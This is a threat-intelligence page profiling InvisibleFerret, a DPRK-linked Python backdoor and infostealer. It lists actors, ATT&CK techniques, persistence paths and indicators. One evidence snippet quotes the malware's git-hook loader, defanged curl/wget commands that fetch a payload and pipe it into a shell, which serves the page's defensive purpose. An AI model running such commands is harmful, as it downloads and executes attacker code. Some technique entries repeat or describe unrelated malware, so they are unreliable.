Skip to main content
Mallory
Back to malware
MalwareUsed by 6 actors

InvisibleFerret

InvisibleFerret is a Python-based modular backdoor and infostealer used in DPRK-linked developer-targeting campaigns, including Contagious Interview activity. Reporting in the provided content associates it with North Korea-aligned clusters tracked as Void Dokkaebi, Famous Chollima, DeceptiveDevelopment, and broader Lazarus-linked operations. It is commonly delivered as a second-stage payload by BeaverTail and appears alongside OtterCookie in phased infection chains targeting software developers, especially cryptocurrency, Web3, and DeFi personnel, through fake recruiter lures, malicious coding assessments, trojanized repositories, malicious npm packages, VS Code tasks abuse, and malicious Git hooks. The malware has been described as cross-platform, affecting Windows, macOS, and Linux. Recent variants reportedly shifted from readable Python scripts to Cython-compiled native extension modules, distributed as .pyd files on Windows and .so files on macOS, launched by lightweight Python runtime scripts to hinder analysis and evade script-based defenses. Documented capabilities include information theft and remote control, theft of browser credentials and cookies, SSH keys, cloud credentials including AWS, Azure, and GCP material, .env files, cryptocurrency wallet data, keylogging, clipboard cryptocurrency address hijacking, and file exfiltration. The content also states that InvisibleFerret stages data in consolidated folders prior to exfiltration and has used HTTP communications to the "/Uploads" URI for file exfiltration. On macOS it has established persistence via LaunchAgents using the file name "com.avatar.update.wake.plist"; additional reporting in the content notes Windows persistence via HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverUpdate and Linux persistence via ~/.config/autostart/*.desktop in one campaign. The malware has also been reported to use an "adc" module to download or leverage the AnyDesk client for remote access, checking for C:/Program Files(x86)/AnyDesk/AnyDesk.exe on Windows. Mentioned infrastructure and indicators tied to delivery or campaign activity in the content include precommit[.]vercel[.]app, nvidiasdk.fly.dev, and IOC IPs 95.216.37.186 and 95.164.17.24.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

THREAT ACTORS

Groups observed using it

6 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
Contagious Interview

The intrusion set, also tracked as Famous Chollima, has migrated its primary implant from readable Python scripts into compiled binaries. Therefore, the revised InvisibleFerret payload distributes as .pyd files on Windows and .so components on macOS.

via security online infosecurityonline.info
Lazarus

The techniques allow the malware to run silently and deliver a multi-stage infection chain culminating in a persistent backdoor known as InvisibleFerret.

via cybernewscybernews.com
North Korean threat actors

The malware is designed to download additional payloads, including a cross-platform Python backdoor codenamed InvisibleFerret.

via the hacker newsthehackernews.com
HexagonalRodent

The campaign targeted Web3 and decentralised finance (DeFi) developers globally via AI-generated fake job offers delivered through LinkedIn, using three interoperating malware families BeaverTail, OtterCookie, and InvisibleFerret in a phased infection chain that begins with a malicious coding assessment and culminates in full credential exfiltration and wallet drainage.

via falconfeeds blogfalconfeeds.io
TraderTraitor

The campaign targeted Web3 and decentralised finance (DeFi) developers globally via AI-generated fake job offers delivered through LinkedIn, using three interoperating malware families BeaverTail, OtterCookie, and InvisibleFerret in a phased infection chain that begins with a malicious coding assessment and culminates in full credential exfiltration and wallet drainage.

via falconfeeds blogfalconfeeds.io
CL-STA-0240

...BeaverTail, which is then used to drop a Python backdoor referred to as InvisibleFerret that can establish persistence on Windows, Linux, and macOS hosts.

via the hacker newsthehackernews.com
MITRE ATT&CK

Techniques & procedures

33 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

4 techniques
T1189Drive-by CompromiseEvidence1

ClickFix, which tricks users into following bogus prompts such as fake CAPTCHAs, and then infects victims' computers with trojanized codebases during the fake interview process.

T1195Supply Chain CompromiseEvidence3

North Korea is doubling down on a familiar playbook by weaponizing trust in open-source software and developer workflows... this campaign weaponizes developer trust in open-source repositories and legitimate tools like Visual Studio Code.

T1195.002Compromise Software Supply ChainEvidence1

MITRE ATT&CK# T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain

T1566.003Spearphishing via ServiceEvidence1

Attackers pose as cryptocurrency recruiters on LinkedIn, sending targets to seemingly legitimate GitHub repositories that contain hidden malware.

Execution

5 techniques
T1053Scheduled Task/JobEvidence1

This iteration uses malicious .vscode/tasks.json configurations to trigger JavaScript payloads disguised as web font files (.woff2) whenever a target opens a repository in VS Code.

T1059Command and Scripting InterpreterEvidence1
TacticExecution

The malicious .githooks/pre-commit script is short... it's a thin loader that fingerprints the OS via uname -s, then curls or wgets a per-platform payload from precommit.vercel.app and pipes it straight into a shell or cmd.exe. | curl -s 'hxxps://precommit[.]vercel.app/settings/mac?flag=5' | sh ... wget -qO- 'hxxps://precommit[.]vercel.app/settings/linux?flag=5' | sh ... curl -s hxxps://precommit[.]vercel.app/settings/windows?flag=5 | cmd

T1059.006PythonEvidence2
TacticExecution

The intrusion set, also tracked as Famous Chollima, has migrated its primary implant from readable Python scripts into compiled binaries... the revised InvisibleFerret payload distributes as .pyd files on Windows and .so components on macOS... the malicious framework generates a lightweight runtime script to launch the core implant.

T1059.007JavaScriptEvidence1
TacticExecution

Behind the scenes, however, hidden task automation scripts execute obfuscated malicious JavaScript the moment the project is opened.

T1204.002Malicious FileEvidence2
TacticExecution

They then tricked victims into cloning compromised repositories locally. As a result, the engineering workstations ran the malicious components seamlessly.

Persistence

8 techniques
T1037Boot or Logon Initialization ScriptsEvidence2

Contagious Interview has also utilized a plist file located in /Library/LaunchAgents to enable a malicious bash script the ability to persist.

T1037.001Logon Script (Windows)Evidence1

Examples include APT3 placing scripts in the startup folder, APT32 using Run keys to execute PowerShell and VBS scripts, TA2541 placing VBS files in the Startup folder, TeamTNT adding batch scripts to the startup folder, and Smoke Loader adding a script in the Startup folder to deploy the payload.

T1053Scheduled Task/JobEvidence1

This iteration uses malicious .vscode/tasks.json configurations to trigger JavaScript payloads disguised as web font files (.woff2) whenever a target opens a repository in VS Code.

T1543.001Launch AgentEvidence1

Bundlore can persist via a LaunchAgent. Calisto adds a .plist file to the /Library/LaunchAgents folder to maintain persistence. CoinTicker creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.

T1546.016Installer PackagesEvidence1

MITRE ATT&CK# T1546.016 — Event Triggered Execution: Installer Packages

T1547Boot or Logon Autostart ExecutionEvidence1

Once launched, the malware uses a multi-stage loader to establish persistence across Windows, macOS, and Linux.

T1547.001Registry Run Keys / Startup FolderEvidence2

Multiple entries describe creating .lnk shortcuts in Startup folders, such as BACKSPACE creating a shortcut to itself in the CSIDL_STARTUP directory and DarkGate creating an LNK object in the victim startup folder. | The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, .lnk files, or .bat files in the Windows Startup folder.

T1547.009Shortcut ModificationEvidence1

The content repeatedly notes creation of '.lnk shortcut' files in the Startup folder, such as BACKSPACE creating a shortcut in CSIDL_STARTUP, DarkGate creating an LNK object in the victim startup folder, and Operation Dream Job placing LNK files into victims' startup folder.

T1037Boot or Logon Initialization ScriptsEvidence2

Contagious Interview has also utilized a plist file located in /Library/LaunchAgents to enable a malicious bash script the ability to persist.

T1037.001Logon Script (Windows)Evidence1

Examples include APT3 placing scripts in the startup folder, APT32 using Run keys to execute PowerShell and VBS scripts, TA2541 placing VBS files in the Startup folder, TeamTNT adding batch scripts to the startup folder, and Smoke Loader adding a script in the Startup folder to deploy the payload.

T1053Scheduled Task/JobEvidence1

This iteration uses malicious .vscode/tasks.json configurations to trigger JavaScript payloads disguised as web font files (.woff2) whenever a target opens a repository in VS Code.

T1543.001Launch AgentEvidence1

Bundlore can persist via a LaunchAgent. Calisto adds a .plist file to the /Library/LaunchAgents folder to maintain persistence. CoinTicker creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.

T1546.016Installer PackagesEvidence1

MITRE ATT&CK# T1546.016 — Event Triggered Execution: Installer Packages

T1547Boot or Logon Autostart ExecutionEvidence1

Once launched, the malware uses a multi-stage loader to establish persistence across Windows, macOS, and Linux.

T1547.001Registry Run Keys / Startup FolderEvidence2

Multiple entries describe creating .lnk shortcuts in Startup folders, such as BACKSPACE creating a shortcut to itself in the CSIDL_STARTUP directory and DarkGate creating an LNK object in the victim startup folder. | The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, .lnk files, or .bat files in the Windows Startup folder.

T1547.009Shortcut ModificationEvidence1

The content repeatedly notes creation of '.lnk shortcut' files in the Startup folder, such as BACKSPACE creating a shortcut in CSIDL_STARTUP, DarkGate creating an LNK object in the victim startup folder, and Operation Dream Job placing LNK files into victims' startup folder.

Stealth

3 techniques
T1027Obfuscated Files or InformationEvidence3
TacticStealth

The content repeatedly describes payloads, strings, configuration files, scripts, URLs, and binaries being obfuscated or encoded using Base64, XOR, RC4, AES, RSA, hex encoding, custom algorithms, and other methods across many malware families and threat actors.

T1036MasqueradingEvidence1
TacticStealth

This iteration uses malicious .vscode/tasks.json configurations to trigger JavaScript payloads disguised as web font files (.woff2).

T1140Deobfuscate/Decode Files or InformationEvidence1
TacticStealth

The content repeatedly describes malware and threat actors decoding, decrypting, or deobfuscating payloads, strings, configuration data, commands, and C2 traffic prior to execution or use, e.g., 'APT28 macro uses the command certutil -decode to decode contents of a .txt file storing the base64 encoded payload' and 'Action RAT can use Base64 to decode actor-controlled C2 server communications.'

Credential Access

2 techniques
T1056.001KeyloggingEvidence1

The final payload, InvisibleFerret, is a Python-based backdoor that can steal credentials from more than a dozen crypto wallet extensions... as well as harvest browser credentials, log keystrokes, and hijack cryptocurrency addresses in the clipboard.

T1649Steal or Forge Authentication CertificatesEvidence1

The final payload... can steal credentials from more than a dozen crypto wallet extensions, including MetaMask, Phantom, and Coinbase Wallet, as well as harvest browser credentials...

Discovery

4 techniques
T1033System Owner/User DiscoveryEvidence1
TacticDiscovery

"InvisibleFerret has also queried the victim device using Python scripts to obtain the User and Hostname" and "Pikabot performs a variety of system checks and gathers system information, including commands such as whoami."

T1057Process DiscoveryEvidence1
TacticDiscovery

The content repeatedly describes malware and threat actors obtaining lists of running processes, using utilities such as tasklist, ps, WMI, Get-Process, CreateToolhelp32Snapshot, EnumProcesses, and similar APIs/commands to enumerate active processes on victim systems.

T1082System Information DiscoveryEvidence1
TacticDiscovery

The content repeatedly describes malware and threat actors collecting host details such as OS version, hostname, architecture, CPU, memory, BIOS, domain, language, and other configuration data; e.g., "APT41 uses multiple built-in commands such as systeminfo and net config Workstation to enumerate victim system basic configuration information."

T1083File and Directory DiscoveryEvidence1
TacticDiscovery

BADNEWS crawls the victim's local drives and collects documents with selected extensions; Machete searches the file system for files of interest; Rover searches for files on local drives based on a predefined list of file extensions.

Collection

4 techniques
T1005Data from Local SystemEvidence3

The content repeatedly describes threat actors and malware collecting, stealing, identifying, copying, or staging files, documents, credentials, logs, databases, and other information from compromised hosts or local systems.

T1056.001KeyloggingEvidence1

The final payload, InvisibleFerret, is a Python-based backdoor that can steal credentials from more than a dozen crypto wallet extensions... as well as harvest browser credentials, log keystrokes, and hijack cryptocurrency addresses in the clipboard.

T1074Data StagedEvidence1

The content repeatedly describes adversaries and malware storing collected data, command output, credentials, archives, or files in local temporary folders, working directories, hidden directories, registry locations, recycle bins, or specific files prior to exfiltration.

T1115Clipboard DataEvidence1

The final payload... can steal credentials... log keystrokes, and hijack cryptocurrency addresses in the clipboard.

T1071Application Layer ProtocolEvidence2

Although IP addresses and port numbers can be extracted from the Cython binaries through binary analysis, the runtime Python execution scripts could override these values with different C&C destinations passed as command-line arguments.

T1071.001Web ProtocolsEvidence2

The content repeatedly describes threat actors, malware, and campaigns using HTTP and/or HTTPS for command and control, including examples such as BlackEnergy communicating with C2 over HTTP POST requests and many other families using HTTP/S for C2.

T1105Ingress Tool TransferEvidence4

BeaverTail is known to be used by North Korean attackers for information theft and downloading additional payloads... The use of Curl for downloading and the names of the downloaded files, “p.zi” and “p2.zip”, are known behaviors of BeaverTail... downloading additional malware like InvisibleFerret.

T1219Remote Access ToolsEvidence1

InvisibleFerret is a Python-based modular malware with information-stealing capabilities. It also provides remote control to attackers.

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence3

ADVSTORESHELL exfiltrates data over the same channel used for C2... Agrius exfiltrated staged data using tools such as Putty and WinSCP, communicating with command and control servers... numerous malware and groups sent victim data, files, credentials, or host information over existing C2 channels.

INDICATORS OF COMPROMISE

IOCs tracked for this family

164 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
87 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
46 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
31 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app21 days ago
domain●●●●●●●●●●●●View more in app24 days ago
domain●●●●●●●●●●●●View more in app24 days ago
uri●●●●●●●●●●●●View more in app24 days ago
uri●●●●●●●●●●●●View more in app24 days ago
uri●●●●●●●●●●●●View more in app24 days ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching164

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution6

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping33

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.